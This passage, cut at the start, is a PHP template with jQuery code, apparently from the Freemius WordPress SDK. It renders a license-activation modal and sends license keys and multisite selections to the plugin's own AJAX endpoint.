fs-modal-license-activation fs-modal-license-activation-<?php echo $unique_affix ?>">' + ' <div class="fs-modal-dialog">' + ' <div class="fs-modal-header">' + ' <h4><?php echo esc_js($header_title) ?></h4>' + ' <a href="!#" class="fs-close"><i class="dashicons dashicons-no" title="<?php echo esc_js( fs_text_x_inline( 'Dismiss', 'as close a window', 'dismiss', $slug ) ) ?>"></i></a>' + ' </div>' + ' <div class="fs-modal-body">' + ' <div class="fs-modal-panel active">' + modalContentHtml + '</div>' + ' </div>' + ' <div class="fs-modal-footer">' + ' <button class="button button-secondary button-close" tabindex="4"><?php fs_esc_js_echo_inline( 'Cancel', 'cancel', $slug ) ?></button>' + ' <button class="button button-primary button-activate-license" tabindex="3"><?php echo esc_js( $activate_button_text ) ?></button>' + ' </div>' + ' </div>' + '</div>', $modal = $(modalHtml), $activateLicenseButton = $modal.find('.button-activate-license'), $licenseKeyInput = $modal.find( 'input.fs-license-key' ), $licenseActivationMessage = $modal.find( '.license-activation-message' ), isNetworkActivation = <?php echo $is_network_activation ? 'true' : 'false' ?>, isUserChangeSupported = <?php echo $is_user_change_supported ? 'true' : 'false' ?>, isSingleSiteActivation = false, $ownershipChangeOptionContainer = $modal.find( '.ownership-change-option-container' ), $body = $( 'body' ); $modal.appendTo( $body ); var $licensesDropdown = $modal.find( '.fs-licenses' ), $licenseTypes = $modal.find( 'input[type="radio"][name="license_type"]' ), $applyOnAllSites = $modal.find( '.fs-apply-on-all-sites-checkbox' ), $sitesListContainer = $modal.find( '.fs-sites-list-container' ), $availableLicenseKey = $modal.find( '.fs-available-license-key' ), $otherLicenseKey = $modal.find( '#other_license_key_<?php echo $unique_affix ?>' ), $multisiteOptionsContainer = $modal.find( '.fs-multisite-options-container' ), $activationsLeft = null, hasLicensesDropdown = ( $licensesDropdown.length > 0 ), hasLicenseTypes = ( $licenseTypes.length > 0 ), maxSitesListHeight = null, totalSites = <?php echo count( $sites_details ) ?>, singleBlogID = null; var previousLicenseKey = null, otherLicenseOwnerID = null, /** * @author Leo Fajardo (@leorw) * @since 2.3.2 */ resetLoadingMode = function () { // Reset loading mode. $activateLicenseButton.text( <?php echo json_encode( $activate_button_text ) ?> ); $activateLicenseButton.prop( 'disabled', false ); $( document.body ).css( { 'cursor': 'auto' } ); $( '.fs-loading' ).removeClass( 'fs-loading' ); console.log( 'resetLoadingMode - Primary button was enabled' ); }, /** * @author Leo Fajardo (@leorw) * @since 2.3.2 */ setLoadingMode = function () { $( document.body ).css( { 'cursor': 'wait' } ); }, /** * @author Leo Fajardo (@leorw) * @since 2.3.2 */ afterLicenseUserDataLoaded = function () { if ( null !== otherLicenseOwnerID && otherLicenseOwnerID != <?php echo $fs->is_registered() ? $fs->get_user()->id : 'null' ?> ) { $ownershipChangeOptionContainer.show(); } else { $ownershipChangeOptionContainer.hide(); $activateLicenseButton.focus(); } }, /** * @author Leo Fajardo (@leorw) * @since 2.3.2 */ fetchLicenseUserData = function () { var hideAndUncheckUserChangeCheckbox = ( ! isUserChangeSupported ), otherLicenseKeyIsSelected = isOtherLicenseKeySelected(); if ( ! hideAndUncheckUserChangeCheckbox ) { // User change is supported only on the site level. hideAndUncheckUserChangeCheckbox = ( isNetworkActivation || isSingleSiteActivation ); } if ( ! hideAndUncheckUserChangeCheckbox ) { hideAndUncheckUserChangeCheckbox = ( hasLicenseTypes && ! otherLicenseKeyIsSelected ); } var licenseKey = $licenseKeyInput.val().trim(); if ( ! hideAndUncheckUserChangeCheckbox && otherLicenseKeyIsSelected ) { hideAndUncheckUserChangeCheckbox = ( licenseKey.length < 32 ); } if ( licenseKey !== previousLicenseKey ) { // If the license key has not been changed, keep the owner ID in order to prevent another API call. otherLicenseOwnerID = null; } if ( hideAndUncheckUserChangeCheckbox ) { $ownershipChangeOptionContainer.hide().find( 'input' ).attr( 'checked', false ); return; } if ( null !== otherLicenseOwnerID ) { afterLicenseUserDataLoaded(); return; } setLoadingMode(); $activateLicenseButton.addClass( 'fs-loading' ); $activateLicenseButton.attr( 'disabled', 'disabled' ); $activateLicenseButton.html( '<?php fs_esc_js_echo_inline( 'Please wait', 'please-wait', $slug ) ?>...' ); $.ajax( { url : <?php echo Freemius::ajax_url() ?>, method : 'POST', data : { action : '<?php echo $fs->get_ajax_action( 'fetch_is_marketing_required_flag_value' ) ?>', security : '<?php echo $fs->get_ajax_security( 'fetch_is_marketing_required_flag_value' ) ?>', license_key: licenseKey, module_id : '<?php echo $fs->get_id() ?>' }, success: function ( result ) { resetLoadingMode(); if ( result.success ) { result = result.data; // Cache license owner's ID. otherLicenseOwnerID = result.license_owner_id; } afterLicenseUserDataLoaded(); } } ); }; function registerEventHandlers() { var $otherLicenseKeyContainer = $modal.find( '.fs-other-license-key-container' ); if ( isNetworkActivation ) { $applyOnAllSites.click(function() { var applyOnAllSites = $( this ).is( ':checked' ); $multisiteOptionsContainer.toggleClass( 'fs-apply-on-all-sites', applyOnAllSites ); showSites( ! applyOnAllSites ); if ( hasValidLicenseKey() && ( applyOnAllSites || hasSelectedSite() ) ) { enableActivateLicenseButton(); } else { disableActivateLicenseButton(); } }); $sitesListContainer.delegate( 'td:not(:first-child)', 'click', function() { // If a site row is clicked, trigger a click on the checkbox. $( this ).parent().find( 'td:first-child input' ).click(); }); $sitesListContainer.delegate( 'input[type="checkbox"]', 'click', function() { enableDisableSitesSelection(); if ( hasValidLicenseKey() && hasSelectedSite() ) { enableActivateLicenseButton(); } else { disableActivateLicenseButton(); } }); } if ( hasLicensesDropdown ) { $licensesDropdown.change(function() { // When a license is selected, select the associated radio button. $licenseTypes.filter( '[value="available"]' ).attr( 'checked', true ); if ( ! isNetworkActivation || $modal.hasClass( 'is-single-site-activation' ) ) { enableActivateLicenseButton(); return true; } toggleActivationOnAllSites(); }) } if ( hasLicenseTypes ) { $licenseTypes.change(function() { var licenseKey = $modal.find( 'input.fs-license-key' ).val().trim(), otherLicenseKeySelected = isOtherLicenseKeySelected(); if ( ( licenseKey.length > 0 || ( hasLicenseTypes && ! otherLicenseKeySelected ) ) && ( $modal.hasClass( 'is-single-site-activation' ) || ! isNetworkActivation || hasSelectedSite() ) ) { /** * If the "other" license is not empty or an available license is selected, enable the activate * button. * * @author Leo Fajardo (@leorw) */ enableActivateLicenseButton(); } else { disableActivateLicenseButton(); } if ( '' !== licenseKey ) { fetchLicenseUserData(); } if ( ! isNetworkActivation ) { return; } if ( otherLicenseKeySelected ) { $applyOnAllSites.attr( 'disabled', false ); enableDisableSitesSelection(); resetActivateLicenseCheckboxLabel(); } else if ( ! $modal.hasClass( 'is-single-site-activation' ) ) { toggleActivationOnAllSites(); } }); if ( ! hasLicensesDropdown ) { $availableLicenseKey.click(function() { $licenseTypes.filter( '[value="available"]' ).click(); }); } $otherLicenseKeyContainer.click(function() { $licenseTypes.filter( '[value="other"]' ).click(); }); } $body.on( 'click', 'span.activate-license.<?php echo $unique_affix ?> a, .activate-license-trigger.<?php echo $unique_affix ?>', function (evt) { evt.preventDefault(); showModal( evt ); }); var licenseTimeout = null; /** * Disable activation button when license key is empty. * * @author Leo Fajardo (@leorw) * @since 2.3.2 */ $modal.on( 'keyup paste delete cut', 'input.fs-license-key', function () { clearTimeout(licenseTimeout); licenseTimeout = setTimeout( function () { var licenseKey = $licenseKeyInput.val().trim(); if ( licenseKey == previousLicenseKey ) { afterLicenseUserDataLoaded(); return; } if ( '' === licenseKey ) { disableActivateLicenseButton(); $ownershipChangeOptionContainer.hide(); } else { enableActivateLicenseButton(); if ( 32 <= licenseKey.length ) { fetchLicenseUserData(); } else { $ownershipChangeOptionContainer.hide(); } } previousLicenseKey = licenseKey; }, 200 ); } ).focus(); $modal.on('input propertychange', 'input.fs-license-key', function () { var licenseKey = $(this).val().trim(); /** * If license key is not empty, enable the license activation button. */ if ( licenseKey.length > 0 && ( $modal.hasClass( 'is-single-site-activation' ) || ! isNetworkActivation || hasSelectedSite() ) ) { enableActivateLicenseButton(); } }); $modal.on( 'blur', 'input.fs-license-key', function( evt ) { var licenseKey = $(this).val().trim(), $focusedElement = $( evt.relatedTarget ), hasSelectedAvailableLicense = ( hasLicenseTypes && $focusedElement.parents( '.fs-available-license-key-container' ).length > 0 ); /** * If license key is empty, disable the license activation button. */ if ( ( 0 === licenseKey.length && ( ! hasLicenseTypes || ! hasSelectedAvailableLicense ) ) || ( isNetworkActivation && ! hasSelectedSite() ) ) { disableActivateLicenseButton(); } }); $modal.on('click', '.button-activate-license', function (evt) { evt.preventDefault(); if ($(this).hasClass('disabled')) { return; } var licenseKey = '', licenseID = ''; if ( hasLicenseTypes ) { if ( isOtherLicenseKeySelected() ) { licenseKey = $otherLicenseKey.val(); } else { if ( ! hasLicensesDropdown ) { licenseID = $availableLicenseKey.data( 'id' ); } else { licenseID = $licensesDropdown.val(); } } } else { licenseKey = $licenseKeyInput.val().trim(); } disableActivateLicenseButton(); if ( 0 === licenseID.length && 0 === licenseKey.length ) { return; } var data = { action : '<?php echo $fs->get_ajax_action( 'activate_license' ) ?>', security : '<?php echo $fs->get_ajax_security( 'activate_license' ) ?>', module_id : '<?php echo $fs->get_id() ?>' }; if ( licenseID.length > 0 ) { data.license_id = licenseID; } else { data.license_key = licenseKey; } if ( isNetworkActivation ) { var sites = []; if ( null === singleBlogID ) { var applyOnAllSites = $applyOnAllSites.is( ':checked' ); $sitesListContainer.find( 'tr' ).each(function() { var $this = $( this ), includeSite = ( applyOnAllSites || $this.find( 'input' ).is( ':checked' ) ); if ( ! includeSite ) return; var site = { uid : $this.find( '.uid' ).val(), url : $this.find( '.url' ).val(), title : $this.find( '.title' ).val(), language: $this.find( '.language' ).val(), blog_id : $this.find( '.blog-id' ).find( 'span' ).text() }; sites.push( site ); }); } else { data.blog_id = singleBlogID; } data.sites = sites; } if ( $ownershipChangeOptionContainer.find( 'input:checked' ).length > 0 ) { data.user_id = otherLicenseOwnerID; } $.ajax({ url: <?php echo Freemius::ajax_url() ?>, method: 'POST', data: data, beforeSend: function () { $activateLicenseButton.text( '<?php fs_esc_js_echo_inline( 'Activating license', 'activating-license', $slug ) ?>...' ); }, success: function( result ) { var resultObj = $.parseJSON( result ); if ( resultObj.success ) { closeModal(); // Redirect to the "Account" page and sync the license. window.location.href = resultObj.next_page; } else { showError( resultObj.error.message ? resultObj.error.message : resultObj.error ); resetActivateLicenseButton(); } } }); }); // If the user has clicked outside the window, close the modal. $modal.on('click', '.fs-close, .button-secondary', function () { closeModal(); return false; }); } registerEventHandlers(); $body.trigger('licenseActivationLoaded'); /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ function enableDisableSitesSelection() { var canApplyOnAllSites = $applyOnAllSites.is( ':enabled' ), disableSitesSelection = null; if ( ! canApplyOnAllSites ) { var selectedSites = $sitesListContainer.find( 'input[type="checkbox"]:checked' ).length, activationsLeft = Math.max( 0, $activationsLeft.data( 'left' ) - selectedSites ); disableSitesSelection = ( 0 === activationsLeft ); $activationsLeft.text( activationsLeft ); } else { disableSitesSelection = false; } $sitesListContainer .find( 'input[type="checkbox"]:not(:checked)' ) .attr( 'disabled', disableSitesSelection ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @returns {Boolean} */ function isOtherLicenseKeySelected() { return ( hasLicenseTypes && 'other' === $licenseTypes.filter( ':checked' ).val() ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @returns {Boolean} */ function hasValidLicenseKey() { var licenseKey = ''; if ( hasLicenseTypes ) { if ( 'available' === $licenseTypes.filter( ':checked' ).val() ) { return true; } else { licenseKey = $otherLicenseKey.val(); } } else { licenseKey = $modal.find( 'input.fs-license-key' ).val(); } return ( licenseKey.trim().length > 0 ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @returns {Boolean} */ function hasSelectedSite() { return ( $applyOnAllSites.is( ':checked' ) || $sitesListContainer.find( 'input[type="checkbox"]:checked:not(:disabled)' ).length > 0 ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ function toggleActivationOnAllSites() { var activationsLeft, licenseID; if (hasLicensesDropdown) { var $selectedOption = $licensesDropdown.find( ':selected' ); activationsLeft = $selectedOption.data('left'); licenseID = $selectedOption.data('id'); } else { activationsLeft = $availableLicenseKey.data('left'); licenseID = $availableLicenseKey.data('id'); } // Cleanup previously auto-selected site. $modal.find( '.fs-sites-list-container input[type=checkbox]:disabled' ) .attr('disabled', false) .attr('checked', false); var $blogsWithActiveLicense = $modal.find( '.fs-sites-list-container tr[data-license-id=' + licenseID + '] input[type=checkbox]' ); if ($blogsWithActiveLicense.length > 0) { $blogsWithActiveLicense.attr('checked', true) .attr('disabled', true); activationsLeft += $blogsWithActiveLicense.length; } if ( activationsLeft >= totalSites ) { $applyOnAllSites.attr( 'disabled', false ); enableDisableSitesSelection(); resetActivateLicenseCheckboxLabel(); return; } $applyOnAllSites.attr( 'checked', false ); $applyOnAllSites.attr( 'disabled', true ); showSites( true ); var activateLicenseCheckboxLabel = '<?php fs_esc_js_echo_inline( 'Choose up to %s site(s) to activate the license on.', 'choose-up-to-n-sites-to-activate-the-license-on', $slug ) ?>'; activateLicenseCheckboxLabel = activateLicenseCheckboxLabel.replace( '%s', '<span data-left="' + activationsLeft + '" class="activations-left">' + activationsLeft + '</span>' ); // Update the label of the "Activate license on all sites" checkbox. $applyOnAllSites.parent().find( 'span' ).html( activateLicenseCheckboxLabel ); $activationsLeft = $modal.find( '.activations-left' ); if ( hasSelectedSite() ) { enableActivateLicenseButton(); enableDisableSitesSelection(); } else { disableActivateLicenseButton(); } } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 */ function resetActivateLicenseCheckboxLabel() { var activateLicenseCheckboxLabel = '<?php fs_esc_js_echo_inline( 'Activate license on all sites in the network.', 'activate-license-on-all-sites-in-the-network', $slug ) ?>'; $applyOnAllSites.parent().find( 'span' ).text( activateLicenseCheckboxLabel ); } /** * @author Leo Fajardo (@leorw) * @since 2.0.0 * * @param {Boolean} show */ function showSites( show ) { $sitesListContainer.toggle( show ); if ( show && null === maxSitesListHeight ) { /** * Set the visible number of rows to 5 (5 * height of the first row). * * @author Leo Fajardo (@leorw) */ maxSitesListHeight = ( 5 * $sitesListContainer.find( 'tr:first' ).height() ); $sitesListContainer.css( 'max-height', maxSitesListHeight ); } } function showModal( evt ) { resetModal(); // Display the dialog box. $modal.addClass('active'); $body.addClass('has-fs-modal'); var $singleInstallDetails = $( evt.target ).parents( 'tr.fs-install-details' ), isSingleSiteActivation = ( $singleInstallDetails.length > 0 ); $modal.toggleClass( 'is-single-site-activation', isSingleSiteActivation ); singleBlogID = isSingleSiteActivation ? $singleInstallDetails.prev().data( 'blog-id' ) : null; <?php if ( $fs->apply_filters( 'enable_per_site_activation', true ) ) : ?> $multisiteOptionsContainer.toggle( isNetworkActivation && ! isSingleSiteActivation ); <?php endif ?> if ( hasLicenseTypes ) { $licenseTypes.attr( 'checked', false ); if ( hasLicensesDropdown ) { $licensesDropdown.find( 'option:first' ).attr( 'selected', true ).trigger( 'change' ); } else { $licenseTypes.filter( '[value="available"]' ).click(); } $otherLicenseKey.val( '' ); } else { $licenseKeyInput.val( '' ); $licenseKeyInput.focus(); } } function closeModal() { $modal.removeClass('active'); $body.removeClass('has-fs-modal'); } function resetActivateLicenseButton() { enableActivateLicenseButton(); $activateLicenseButton.text( <?php echo json_encode( $activate_button_text ) ?> ); } function resetModal() { hideError(); resetActivateLicenseButton(); } function enableActivateLicenseButton() { $activateLicenseButton.removeClass( 'disabled' ); } function disableActivateLicenseButton() { $activateLicenseButton.addClass( 'disabled' ); } function hideError() { $licenseActivationMessage.hide(); } function showError( msg ) { $licenseActivationMessage.find( ' > p' ).html( msg ); $licenseActivationMessage.show(); } }); })( jQuery ); </script> <?php fs_require_once_template( 'api-connectivity-message-js.php' );